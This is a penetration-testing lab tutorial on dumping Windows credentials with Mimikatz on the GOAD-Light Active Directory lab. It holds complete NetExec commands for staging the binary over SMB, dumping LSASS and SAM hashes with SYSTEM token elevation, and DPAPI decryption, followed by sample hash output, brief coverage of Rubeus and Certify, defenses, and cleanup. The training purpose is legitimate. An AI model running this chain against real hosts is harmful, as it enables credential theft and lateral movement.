Credential Dumping with Mimikatz on Active Directory Hosts

You confirmed (Pwn3d!) admin access with NetExec on castelblack. The next step is pulling secrets from memory and the local account database — not guessing passwords.

Mimikatz is the Windows post-exploitation standard for that job. From Kali you upload the binary, run it remotely, and read LSASS for logged-on NTLM hashes and Kerberos material, then escalate to SYSTEM for the local SAM. This lesson walks that chain on GOAD-Light and closes with Rubeus and Certify so you know what to reach for after the dump.

Credential dumping quick start

With domain admin SMB access on castelblack, one remote command runs Mimikatz and dumps LSASS logon secrets:

nxc smb 10.10.10.22 -u eddard.stark -p 'FightP3aceAndHonor!' -d north.sevenkingdoms.local -x 'C:\Windows\Temp\mimikatz.exe privilege::debug sekurlsa::logonpasswords exit'

SMB         10.10.10.22  445  CASTELBLACK  [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
SMB         10.10.10.22  445  CASTELBLACK  [+] Executed command via wmiexec
SMB         10.10.10.22  445  CASTELBLACK  mimikatz(commandline) # privilege::debug
SMB         10.10.10.22  445  CASTELBLACK  Privilege '20' OK
SMB         10.10.10.22  445  CASTELBLACK  mimikatz(commandline) # sekurlsa::logonpasswords
SMB         10.10.10.22  445  CASTELBLACK  Authentication Id : 0 ; 88819 (00000000:00015af3)
SMB         10.10.10.22  445  CASTELBLACK  User Name         : sql_svc
SMB         10.10.10.22  445  CASTELBLACK  Domain            : NORTH
SMB         10.10.10.22  445  CASTELBLACK     msv :
SMB         10.10.10.22  445  CASTELBLACK      * Username : sql_svc
SMB         10.10.10.22  445  CASTELBLACK      * Domain   : NORTH
SMB         10.10.10.22  445  CASTELBLACK      * NTLM     : 84a5092f53390ea48d660be52b93b804
SMB         10.10.10.22  445  CASTELBLACK      * DPAPI    : b2f575abfd4e0daf6ea9c79a19cec042
SMB         10.10.10.22  445  CASTELBLACK     wdigest :
SMB         10.10.10.22  445  CASTELBLACK      * Password : (null)

Privilege '20' OK means SeDebugPrivilege is enabled. The msv block under sql_svc is what you feed into pass-the-hash with nxc -H. The sections below stage the binary, explain each dump type, and cover mitigations competitors often skip.

What credential dumping targets on Windows

Windows caches authentication material in several places. Pen testers and defenders use the same names in exam questions and incident reports:

MITRE ATT&CK groups these under T1003 OS Credential Dumping. LSASS (T1003.001) is what most search queries mean by “Mimikatz credential dumping.”

On modern builds, WDigest cleartext is usually (null) because UseLogonCredential defaults to 0. NTLM hashes under msv still appear for active logon sessions — that is the realistic lab outcome on Server 2019 castelblack.

Prepare GOAD-Light lab variables

Set these once on Kali. They match the admin path from NetExec remote command execution:

export DOMAIN_CHILD=north.sevenkingdoms.local
export LAB_MEMBER=10.10.10.22
export LAB_ADMIN_USER=eddard.stark
export LAB_ADMIN_PASS='FightP3aceAndHonor!'

If you only have a low-privilege shell today, work through Windows privilege escalation on castelblack first. Mimikatz needs administrative rights on the host — the same bar NetExec marks with (Pwn3d!).

Confirm SMB admin access before you upload anything:

nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD"

SMB         10.10.10.22  445  CASTELBLACK  [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:None)
SMB         10.10.10.22  445  CASTELBLACK  [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)

(Pwn3d!) confirms you can stage and execute on C$ through the same channel the walkthrough uses.

Stage Mimikatz from Kali

Kali ships the Windows binaries under /usr/share/windows-resources/mimikatz. Copy the x64 build into a working directory so --put-file has a stable path:

mkdir -p ~/mimikatz-lab
cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe ~/mimikatz-lab/

Upload the executable to the target Temp folder over SMB. Use the share-relative path Windows/Temp/ — a leading C:\ in the NetExec destination often fails with STATUS_OBJECT_NAME_INVALID:

nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" --put-file ~/mimikatz-lab/mimikatz.exe Windows/Temp/mimikatz.exe

SMB         10.10.10.22  445  CASTELBLACK  [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
SMB         10.10.10.22  445  CASTELBLACK  [*] Copying /root/mimikatz-lab/mimikatz.exe to Windows/Temp/mimikatz.exe
SMB         10.10.10.22  445  CASTELBLACK  [+] Created file on \\C$\Windows/Temp/mimikatz.exe

NetExec reports success when mimikatz.exe lands on C:\Windows\Temp\. An interactive evil-winrm session is an alternative upload path when WinRM is open; remote nxc -x execution matches how most Kali AD assessments chain after (Pwn3d!).

Dump LSASS with sekurlsa::logonpasswords

LSASS holds Security Support Provider (SSP) caches for every logon session. sekurlsa::logonpasswords walks those structures and prints NTLM hashes, Kerberos keys, and DPAPI references.

Enable debug privilege first, then dump:

nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" -x 'C:\Windows\Temp\mimikatz.exe privilege::debug sekurlsa::logonpasswords exit'

The transcript is long. Focus on blocks that name a domain user and show msv / NTLM:

SMB         10.10.10.22  445  CASTELBLACK  mimikatz(commandline) # privilege::debug
SMB         10.10.10.22  445  CASTELBLACK  Privilege '20' OK
SMB         10.10.10.22  445  CASTELBLACK  mimikatz(commandline) # sekurlsa::logonpasswords
SMB         10.10.10.22  445  CASTELBLACK  User Name         : sql_svc
SMB         10.10.10.22  445  CASTELBLACK  Domain            : NORTH
SMB         10.10.10.22  445  CASTELBLACK     msv :
SMB         10.10.10.22  445  CASTELBLACK      * Username : sql_svc
SMB         10.10.10.22  445  CASTELBLACK      * NTLM     : 84a5092f53390ea48d660be52b93b804
SMB         10.10.10.22  445  CASTELBLACK      * DPAPI    : b2f575abfd4e0daf6ea9c79a19cec042
SMB         10.10.10.22  445  CASTELBLACK     wdigest :
SMB         10.10.10.22  445  CASTELBLACK      * Password : (null)

Record each Username / NTLM pair that belongs to a human or service account — skip machine accounts such as CASTELBLACK$ unless you are hunting machine-account abuse. The sql_svc hash is a realistic pivot credential on GOAD-Light SQL paths.

You also see CASTELBLACK$ machine-account material in the same dump. That is normal; prioritize interactive and service accounts for lateral movement.

Dump local SAM with lsadump::sam

The SAM database stores local account hashes — not the AD NTDS.dit on the domain controller. Operators still want it for the built-in Administrator RID 500 and lab accounts such as vagrant.

lsadump::sam reads HKLM\SAM directly. Remote execution through wmiexec starts as your user token, so the first attempt often fails:

nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" -x 'C:\Windows\Temp\mimikatz.exe privilege::debug lsadump::sam exit'

SMB         10.10.10.22  445  CASTELBLACK  mimikatz(commandline) # lsadump::sam
SMB         10.10.10.22  445  CASTELBLACK  Domain : CASTELBLACK
SMB         10.10.10.22  445  CASTELBLACK  SysKey : 7ef4b1728421ac00bc9c6eb3bc2ef00f
SMB         10.10.10.22  445  CASTELBLACK  ERROR kuhl_m_lsadump_getUsersAndSamKey ; kull_m_registry_RegOpenKeyEx SAM Accounts (0x00000005)

0x00000005 is ACCESS_DENIED on the SAM hive. Impersonate SYSTEM inside the same Mimikatz process with token::elevate, then retry:

nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" -x 'C:\Windows\Temp\mimikatz.exe privilege::debug token::elevate lsadump::sam exit'

SMB         10.10.10.22  445  CASTELBLACK  mimikatz(commandline) # token::elevate
SMB         10.10.10.22  445  CASTELBLACK  Token elevated to SYSTEM
SMB         10.10.10.22  445  CASTELBLACK  mimikatz(commandline) # lsadump::sam
SMB         10.10.10.22  445  CASTELBLACK  RID  : 000001f4 (500)
SMB         10.10.10.22  445  CASTELBLACK  User : Administrator
SMB         10.10.10.22  445  CASTELBLACK  Hash NTLM: b278917bf0a212195dce6c70cef4fe96
SMB         10.10.10.22  445  CASTELBLACK  RID  : 000003e8 (1000)
SMB         10.10.10.22  445  CASTELBLACK  User : vagrant
SMB         10.10.10.22  445  CASTELBLACK  Hash NTLM: fc2c00635f092738daf4a9341acc97a5

Local hashes complement LSASS: they survive after logoff and include accounts that never held an interactive session during your dump.

DPAPI keys and the dpapi module

DPAPI (Data Protection API) encrypts user-specific secrets — saved browser passwords, RDP credentials, and some application configs. Windows stores master keys under %APPDATA%\Microsoft\Protect\.

Mimikatz surfaces DPAPI in two ways:

1. From LSASS — sekurlsa::logonpasswords prints a DPAPI SHA1 for logged-on users (sql_svc above).
2. From the dpapi module — decrypt blobs when you supply master key files or /pin for user passwords.

Listing master keys from disk requires an input path. Run dpapi::masterkey without /in and Mimikatz stops with a clear error:

nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" -x 'C:\Windows\Temp\mimikatz.exe privilege::debug dpapi::masterkey exit'

SMB         10.10.10.22  445  CASTELBLACK  mimikatz(commandline) # dpapi::masterkey
SMB         10.10.10.22  445  CASTELBLACK  ERROR kuhl_m_dpapi_masterkey ; Input masterkeys file needed (/in:file)

Typical follow-on commands (run on an interactive shell on the target):

dpapi::masterkey /in:%appdata%\Microsoft\Protect\<SID>\<guid>
dpapi::cred /in:C:\Users\<user>\AppData\Local\Microsoft\Credentials\<blob>

On an engagement, export the master key GUIDs from LSASS, copy the matching files from the user profile, then decrypt cred blobs. Full DPAPI chains belong in a dedicated secrets-management report section — here the PenTest+ takeaway is that LSASS gives DPAPI key material and the dpapi module turns that into plaintext application secrets.

LSA Protection and modern defenses

Search results and exam blueprints increasingly ask what stops Mimikatz — not only what it dumps.

GOAD-Light member servers behave like unhardened Server 2019 — useful for learning the commands. Client estates with PPL plus Credential Guard need alternate collection (for example DCSync with domain rights, or ticket theft with Rubeus on an already-compromised workstation). Treat those as separate lessons; this page assumes a host where admin plus SeDebugPrivilege is enough.

Rubeus overview (Kerberos after the dump)

Rubeus is the SpecterOps Kerberos toolkit for Windows. After Mimikatz gives you hashes or tickets, Rubeus handles Kerberos-specific work without loading LSASS again.

Rubeus runs on the compromised Windows host. Kali equivalents are Impacket getTGT / getST and export KRB5CCNAME — covered in pass-the-hash and pass-the-ticket. Know both names for PenTest+: Mimikatz for LSASS/SAM/DPAPI, Rubeus for Kerberos ticket operations on endpoint shells.

Certify overview (AD CS discovery)

Certify (also SpecterOps) maps Active Directory Certificate Services misconfigurations — vulnerable certificate templates, ESC categories, and enrollment paths. It does not replace Mimikatz; it answers “where can stolen credentials become code execution or domain escalation through AD CS?”

Use Certify after you have domain credentials from LSASS or SAM — often the same sql_svc or jon.snow class accounts GOAD-Light plants for escalation. A full AD CS abuse walkthrough is out of scope here; this section is the hub pointer PenTest+ expects next to credential dumping.

Record findings and clean up the lab host

Paste into your report:

• Each sekurlsa Username / NTLM pair (source host, session type, timestamp)
• SAM local accounts with RID and NTLM hash
• DPAPI SHA1 references and whether cred blobs were decrypted
• Whether cleartext wdigest passwords appeared (usually they do not on Server 2019)

Replay domain hashes with nxc -H per pass-the-hash and pass-the-ticket. Remove the staged binary when the lesson ends:

nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" -x 'del /f C:\Windows\Temp\mimikatz.exe'

The delete command exits silently on success through wmiexec.

Troubleshooting

Summary

Credential dumping on a Windows member server starts after you hold admin access — the same (Pwn3d!) outcome NetExec confirms on castelblack. From Kali we staged mimikatz.exe, enabled privilege::debug, and ran sekurlsa::logonpasswords to recover the sql_svc NTLM hash and DPAPI reference from LSASS. SAM hashes for local Administrator and vagrant required token::elevate because lsadump::sam without SYSTEM returned ACCESS_DENIED.

Modern Server 2019 builds rarely give cleartext through WDigest; plan on NTLM under msv and know when LSA Protection or Credential Guard would block the same commands in production. Rubeus covers Kerberos ticket work on the endpoint; Certify points at AD CS misconfigurations once you have domain creds. Feed recovered NT hashes into pass-the-hash on Kali, map new principals in BloodHound, and document every host where LSASS was touched.

References

• Mimikatz — Benjamin Delpy (gentilkiwi)
• MITRE ATT&CK T1003 — OS Credential Dumping
• MITRE ATT&CK T1003.001 — LSASS Memory
• Microsoft — Credential Guard
• Microsoft — LSA Protection
• Rubeus — SpecterOps GitHub
• Certify — SpecterOps GitHub